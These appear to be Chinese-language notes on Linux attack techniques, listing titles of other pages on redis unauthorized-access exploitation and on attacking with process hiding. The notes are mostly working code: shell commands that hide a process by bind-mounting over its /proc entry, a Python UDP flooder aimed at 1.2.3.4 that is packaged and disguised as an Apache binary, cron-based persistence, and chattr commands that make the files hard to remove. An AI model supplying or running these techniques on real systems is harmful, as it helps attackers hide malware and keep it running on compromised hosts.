1. # 批量杀掉名为Apache的进程
    2. ps -ef | grep -v grep | grep Apache | awk '{print $2}' | xargs kill -9

    redis未授权访问漏洞利用总结——linux篇 - 夜尽终会天明 - 博客园
    linuxStack/进程隐藏技术的攻与防-攻篇.md at master · g0dA/linuxStack · GitHub

    1. nohup /usr/bin/redis-server /etc/redis.conf >/dev/null 2>&1 &
    2. process="redis"
    3. PID=$(ps -ef | grep $process | grep -v grep | awk '{print $2}')
    4. mkdir .hidden >/dev/null 2>&1 &
    5. mount -o bind .hidden "/proc/${PID}"
    7. nohup /usr/bin/redis-server /etc/redis.conf >/dev/null 2>&1 &
    8. PID=$(ps -ef | grep $process | grep -v grep | awk '{print $2}')
    9. mkdir .hidden >/dev/null 2>&1 &
    10. mount -o bind .hidden "/proc/${PID}"
    11. if [ -n "$PID" ]; then
    12.     echo "OK"
    13. else
    14.     echo "NO"
    15. fi

    root用户无法删除的文件

    1. import multiprocessing
    2. import socket
    4. def send_traffic(ip, port):
    5.     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    6.     sock.connect((ip, port))
    7.     while True:
    8.         sock.send(b"")
    9.         sum = 0
    10.         for i in range(10000000):
    11.             sum += i
    14. m = multiprocessing.cpu_count()
    15. for i in range(m):
    16.     multiprocessing.Process(target=send_traffic, args=('1.2.3.4', 6666)).start()
    1. pyinstaller -F Apache.py    # 生成linux可执行程序
    2. mv dist/Apache /usr/bin/
    4. vim /etc/rc.local.d/start.sh
    5. #!/bin/bash
    6. PID=$(ps -ef | grep "Apache" | grep -v "grep" | awk '{print $2}')
    7. if [ -n "$PID" ]; then
    8.    echo "ok"
    9. else
    10.     nohup /usr/bin/Apache >/dev/null 2>&1 &
    11. fi
    13. crontab -e
    14. * * * * * /etc/rc.local.d/start.sh
    16. chattr +a /usr/bin/Apache /etc/rc.local.d/start.sh
    1. vim /etc/rsyslog.d/50-default.conf
    2. 将cron前的注释去除